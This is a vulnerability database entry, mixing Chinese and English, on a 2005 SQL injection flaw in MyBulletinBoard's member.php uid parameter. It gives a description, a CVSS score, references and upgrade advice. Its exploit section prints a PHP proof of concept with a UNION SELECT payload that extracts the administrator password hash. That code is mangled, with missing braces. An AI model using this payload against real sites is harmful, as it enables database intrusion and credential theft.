发布时间 :2005-05-02 00:00:00
修订时间 :2016-10-17 23:09:33

[原文]SQL injection vulnerability in member.php in MyBulletinBoard (MyBB) allows remote attackers to execute arbitrary SQL commands via the uid parameter.

[CNNVD]MyBulletinBoard MEMBER.PHP SQL注入漏洞(CNNVD-200505-446)

        MyBulletinBoard (MyBB)的member.php存在SQL注入漏洞,远程攻击者可以通过uid参数执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源
(UNKNOWN)  BUGTRAQ  20050104 MyBB SQL Injection
(UNKNOWN)  BID  12161
(UNKNOWN)  XF  mybb-member-sql-injection(18755)

- 漏洞信息

MyBulletinBoard MEMBER.PHP SQL注入漏洞
高危 SQL注入
2005-05-02 00:00:00 2005-10-20 00:00:00
        MyBulletinBoard (MyBB)的member.php存在SQL注入漏洞,远程攻击者可以通过uid参数执行任意SQL命令。

- 公告与补丁


- 漏洞信息

MyBulletinBoard (MyBB) member.php uid Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity Upgrade
Exploit Public

- 漏洞描述

MyBB contains a flaw that will allow a remote attacker to inject arbitrary SQL code. The problem is that the 'uid' parameter in the 'member.php' script is not verified properly and will allow a remote attacker to inject or manipulate SQL queries.

- 时间线

2005-01-04 Unknow
2005-01-04 Unknow

- 解决方案

Upgrade to version MyBB Preview Release 2 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

- 漏洞信息

MyBulletinBoard MEMBER.PHP SQL Injection Vulnerability
Input Validation Error 12161
Yes No
2005-01-04 12:00:00 2009-07-12 09:27:00
Discovery is credited to <>.

- 受影响的程序版本

MyBulletinBoard MyBulletinBoard RC4

- 漏洞讨论

A remote SQL injection vulnerability reportedly affects MyBulletinBoard. This issue is due to a failure of the application to properly sanitize user-supplied input prior to including it in an SQL query.

An attacker may leverage this issue to manipulate SQL query strings and potentially carry out arbitrary database queries. This may facilitate the disclosure or corruption of sensitive database information. Reportedly, a successful attack can disclose the administrator password hash to an attacker.

All versions of MyBulletinBoard are considered vulnerable to this issue.

- 漏洞利用

An exploit is not required.

The following proof of concept is reported to disclose the administrator password hash to a remote attacker:
// the example below will attack
echo 'Pass:' . get_pass('', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode('&amp;', $query);

$header = "POST $path/member.php?action=avatar HTTP/1.1\r\n";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$allah = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$allah .= $tmp;

preg_match('/\: ([a-z0-9]{32})/i', $allah, $matches);
if (empty($matches[1]) &amp;&amp; empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $allah, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
$password = get_pass($host, $path, $dbprefix);
else {
$password = $matches[1];

return $password;


- 解决方案

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: <>.

- 相关参考